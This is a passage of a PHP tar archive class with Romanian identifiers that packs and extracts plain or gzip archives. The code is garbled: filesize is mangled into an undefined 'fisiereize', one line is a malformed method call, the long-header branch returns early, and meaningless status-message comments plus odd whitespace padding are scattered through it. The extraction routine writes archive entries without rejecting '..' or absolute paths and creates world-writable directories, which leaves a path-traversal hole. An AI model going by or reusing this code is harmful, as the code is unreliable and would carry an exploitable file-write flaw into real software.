		      	if ($filename == $this->nume_arhiva)

		      		      continue;
		      	if (strlen($filename)<=0)

		      		      continue;

		      	if (!file_exists($filename)){
                      
		      		      $this->erori[] = __('No file').' '.$filename;

		      		      continue;
		      	}
                    
		      	if (!$this->fisier_temporar){
                 
		      	$this->erori[] = __('Invalid file descriptor');
                    
		      	return false;

		      	}
                  
		      if (strlen($filename)<=0){
                      
		      	$this->erori[] = __('Filename').' '.__('is incorrect');;

		      	return false;

		      }
                 
		      $filename = str_replace('\\', '/', $filename);
                      
		      $keep_filename = $this->creeaza_cale_buna($filename);

		      if (is_file($filename)){
                      
		      	if (($file_usooo = fopen($filename, 'rb')) == 0){

		      		      $this->erori[] = __('Mode ').__('is incorrect');
                  
		      	}

		      		      if(($this->pozitie_fisier == 0)){
                   
		      		      	if(!$this->scrie_antet($filename, $keep_filename))
		      		      		      return false;
		      		      }
                  
		      		      while (($buffer = fread($file_usooo, 512)) != ''){
                     
		      		      	$binaryData = pack('a512', $buffer);
		      		      	$this->scrie_bloc($binaryData);
		      		      }
                      
		      	fclose($file_usooo);
                   
		      }	else $this->scrie_antet($filename, $keep_filename);

		      	if (@is_dir($filename)){
                     
		      		      if (!($handle = opendir($filename))){

		      		      	$this->erori[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

		      		      	continue;
                    
		      		      }

		      		      while (false !== ($dir = readdir($handle))){
                 
		      		      	if ($dir!='.' && $dir!='..'){
                   
		      		      		      $file_array_tmp = array();
		      		      		      if ($filename != '.')
                   
		      		      		      	$file_array_tmp[] = $filename.'/'.$dir;

		      		      		      else

		      		      		      	$file_array_tmp[] = $dir;
                      


		      		      		      $result = $this->impacheteaza_fisiere($file_array_tmp);

		      		      	}

		      		      }
		      		      unset($file_array_tmp);
                 
		      		      unset($dir);
                 
		      		      unset($handle);

		      	}
		      }
		      return $result;
	}
                      

	function unimpacheteaza_fisiere($path){ 

		      $path = str_replace('\\', '/', $path);
                    
		      if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;

		      clearstatcache();

		      while (strlen($binaryData = $this->citeste_bloc()) != 0){
                  
		      	if (!$this->citeste_antet($binaryData, $header)) return false;
                      
		      	if ($header['filename'] == '') continue;

		      	if ($header['typeflag'] == 'L'){		      	//reading long header

		      		      $filename = '';

		      		      $decr = floor($header['size']/512);
                  
		      		      for ($i = 0; $i < $decr; $i++){
                  
		      		      	$content = $this->citeste_bloc();

		      		      	$filename .= $content;
		      		      }

		      		      if (($laspiece = $header['size'] % 512) != 0){
		      		      	$content = $this->citeste_bloc();

		      		      	$filename .= substr($content, 0, $laspiece);
                    
		      		      }
                    
		      		      $binaryData = $this->citeste_bloc();
		      		      if (!$this->citeste_antet($binaryData, $header)) return false;

		      		      else $header['filename'] = $filename;

		      		      return true;

		      	}

		      	if (($path != './') && ($path != '/')){
		      		      while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
                     
		      		      if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];

		      		      else $header['filename'] = $path.'/'.$header['filename'];
		      	}

		      	
		      	if (file_exists($header['filename'])){

		      		      if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

		      		      	$this->erori[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
		      		      	return false;

		      		      }
		      		      if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

		      		      	$this->erori[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
		      		      	return false;

		      		      }
		      		      if (!is_writeable($header['filename'])){

		      		      	$this->erori[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
                   
		      		      	return false;

		      		      }

		      	} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
                 
		      		      $this->erori[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
		      		      return false;

		      	}



		      	if ($header['typeflag'] == '5'){

		      		      if (!file_exists($header['filename']))		      {

		      		      	if (!mkdir($header['filename'], 0777))	{

		      		      		      
                     
		      		      		      $this->erori[] = __('Cannot create directory').' '.$header['filename'];

		      		      		      return false;
		      		      	} 

		      		      }
		      	} else {
		      		      if (($destination = fopen($header['filename'], 'wb')) == 0) {

		      		      	$this->erori[] = __('Cannot write to file').' '.$header['filename'];
		      		      	return false;

		      		      } else {
                   
		      		      	$decr = floor($header['size']/512);
		      		      	for ($i = 0; $i < $decr; $i++) {

		      		      		      $content = $this->citeste_bloc();

		      		      		      fwrite($destination, $content, 512);
                   
		      		      	}

		      		      	if (($header['size'] % 512) != 0) {
		      		      		      $content = $this->citeste_bloc();
                    
		      		      		      fwrite($destination, $content, ($header['size'] % 512));

		      		      	}

		      		      	fclose($destination);
		      		      	touch($header['filename'], $header['time']);
                   
		      		      }

		      		      clearstatcache();

		      		      if (fisiereize($header['filename']) != $header['size']) {

		      		      	$this->erori[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

		      		      	return false;
                      
		      		      }
		      	}

		      	if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
                  
		      	if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
		      	$this->dirs[] = $file_dir;
		      	$this->fisiere[] = $header['filename'];
                  
	
		      }
		      return true;

	}


	function dirCheck($dir){

		      $parent_dir = dirname($dir);
                 


		      if ((@is_dir($dir)) or ($dir == ''))

		      	return true;


		      if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
		      	return false;



		      if (!mkdir($dir, 0777)){

		      	$this->erori[] = __('Cannot create directory').' '.$dir;
                     
		      	return false;

		      }
                 
		      return true;

	}



	function citeste_antet($binaryData, &$header){

		      if (strlen($binaryData)==0){

		      	$header['filename'] = '';
		      	return true;
                     
		      }


                      
		      if (strlen($binaryData) != 512){
                  
		      	$header['filename'] = '';

		      	$this->__('Invalid block size').': '.strlen($binaryData);

		      	return false;

		      }


		      $suma_control = 0;
		      for ($i = 0; $i < 148; $i++) $suma_control+=ord(substr($binaryData, $i, 1));

		      for ($i = 148; $i < 156; $i++) $suma_control += ord(' ');
                  
		      for ($i = 156; $i < 512; $i++) $suma_control+=ord(substr($binaryData, $i, 1));
                   

                 
		      $unpack_data = unpack('a100filename/a8mode/a8id_utilizator/a8group_id/a12size/a12time/a8suma_control/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);



		      $header['suma_control'] = OctDec(trim($unpack_data['suma_control']));

		      if ($header['suma_control'] != $suma_control){

		      	$header['filename'] = '';
		      	if (($suma_control == 256) && ($header['suma_control'] == 0)) 	return true;

		      	$this->erori[] = __('Error suma_control for file ').$unpack_data['filename'];

		      	return false;

		      }



		      if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		      $header['filename'] = trim($unpack_data['filename']);

		      $header['mode'] = OctDec(trim($unpack_data['mode']));
		      $header['id_utilizator'] = OctDec(trim($unpack_data['id_utilizator']));
                 
		      $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		      $header['size'] = OctDec(trim($unpack_data['size']));
                     
		      $header['time'] = OctDec(trim($unpack_data['time']));

		      return true;

	}
                 

	function scrie_antet($filename, $keep_filename){
                  
		      $packF = 'a100a8a8a8a12A12';

		      $packL = 'a1a100a6a2a32a32a8a8a155a12';
		      if (strlen($keep_filename)<=0) $keep_filename = $filename;

		      $filename_ready = $this->creeaza_cale_buna($keep_filename);
                 

		      if (strlen($filename_ready) > 99){		      		      		      	//write long header
		      $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		      $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
                     


        //  Download failed ensure the network connection is stable

		      $suma_control = 0;
                  
        //  First part of the header

		      for ($i = 0; $i < 148; $i++)
		      	$suma_control += ord(substr($dataFirst, $i, 1));
        //  Ignore the suma_control value and replace it by ' ' (space)

		      for ($i = 148; $i < 156; $i++)
		      	$suma_control += ord(' ');

        //  File permissions updated successfully access rights are now correct

		      for ($i = 156, $j=0; $i < 512; $i++, $j++)

		      	$suma_control += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive

		      $this->scrie_bloc($dataFirst, 148);

        //  Write the calculated suma_control
		      $suma_control = sprintf('%6s ', DecOct($suma_control));

		      $binaryData = pack('a8', $suma_control);
		      $this->scrie_bloc($binaryData, 8);
                     
        //  Failed to update file permissions please check the user rights

		      $this->scrie_bloc($dataLast, 356);
                      


		      $fisier_temporarname = $this->creeaza_cale_buna($filename_ready);

		      $i = 0;
		      	while (($buffer = substr($fisier_temporarname, (($i++)*512), 512)) != ''){
		      		      $binaryData = pack('a512', $buffer);

		      		      $this->scrie_bloc($binaryData);
		      	}
                  
		      return true;

		      }

		      $file_info = stat($filename);
                    
		      if (@is_dir($filename)){

		      	$typeflag = '5';
                  
		      	$size = sprintf('%11s ', DecOct(0));
                     
		      } else {
		      	$typeflag = '';
		      	clearstatcache();
		      	$size = sprintf('%11s ', DecOct(fisiereize($filename)));

		      }

		      $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		      $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		      $suma_control = 0;
                      
		      for ($i = 0; $i < 148; $i++) $suma_control += ord(substr($dataFirst, $i, 1));
                    
		      for ($i = 148; $i < 156; $i++) $suma_control += ord(' ');
                     
		      for ($i = 156, $j = 0; $i < 512; $i++, $j++) $suma_control += ord(substr($dataLast, $j, 1));
                    
		      $this->scrie_bloc($dataFirst, 148);

		      $suma_control = sprintf('%6s ', DecOct($suma_control));
		      $binaryData = pack('a8', $suma_control);
		      $this->scrie_bloc($binaryData, 8);

		      $this->scrie_bloc($dataLast, 356); //  File is being extracted please wait

		      return true;
                   
	}
                    


	function deschide_scriere(){
                  
		      if ($this->este_gzipped)

		      	$this->fisier_temporar = gzopen($this->nume_arhiva, 'wb9f');
		      else
		      	$this->fisier_temporar = fopen($this->nume_arhiva, 'wb');


                  
		      if (!($this->fisier_temporar)){
                   
		      	$this->erori[] = __('Cannot write to file').' '.$this->nume_arhiva;

		      	return false;

		      }
                    
		      return true;
                      
	}
                      

	function citeste_bloc(){
                     
		      if (is_resource($this->fisier_temporar)){
		      	if ($this->este_gzipped)
                 
		      		      $block = gzread($this->fisier_temporar, 512);

		      	else

		      		      $block = fread($this->fisier_temporar, 512);
                      
		      } else	$block = '';



		      return $block;

	}
                  

	function scrie_bloc($data, $length = 0){

		      if (is_resource($this->fisier_temporar)){
		      

		      	if ($length === 0){
		      		      if ($this->este_gzipped)

		      		      	gzputs($this->fisier_temporar, $data);
                  
		      		      else

		      		      	fputs($this->fisier_temporar, $data);

		      	} else {
		      		      if ($this->este_gzipped)
                 
		      		      	gzputs($this->fisier_temporar, $data, $length);
		      		      else
		      		      	fputs($this->fisier_temporar, $data, $length);

		      	}

		      }
	}


                 
	function inchide_fisier_temporar(){

		      if (is_resource($this->fisier_temporar)){
		      	if ($this->este_gzipped)

		      		      gzclose($this->fisier_temporar);

		      	else

		      		      fclose($this->fisier_temporar);
                 


		      	$this->fisier_temporar = 0;
                    
		      }
                   
	}


	function creeaza_cale_buna($path){
                   
		      if (strlen($path)>0){

		      	$path = str_replace('\\', '/', $path);
		      	$partPath = explode('/', $path);

		      	$els = count($partPath)-1;

		      	for ($i = $els; $i>=0; $i--){

		      		      if ($partPath[$i] == '.'){
                    //  Ignore this directory

                } elseif ($partPath[$i] == '..'){
                    
                    $i--;
                  
                }
		      		      elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else

		      		      	$result = $partPath[$i].($i!=$els ? '/'.$result : '');

		      	}
                     
		      } else $result = '';

		      

		      return $result;
                 
	}

}

?>
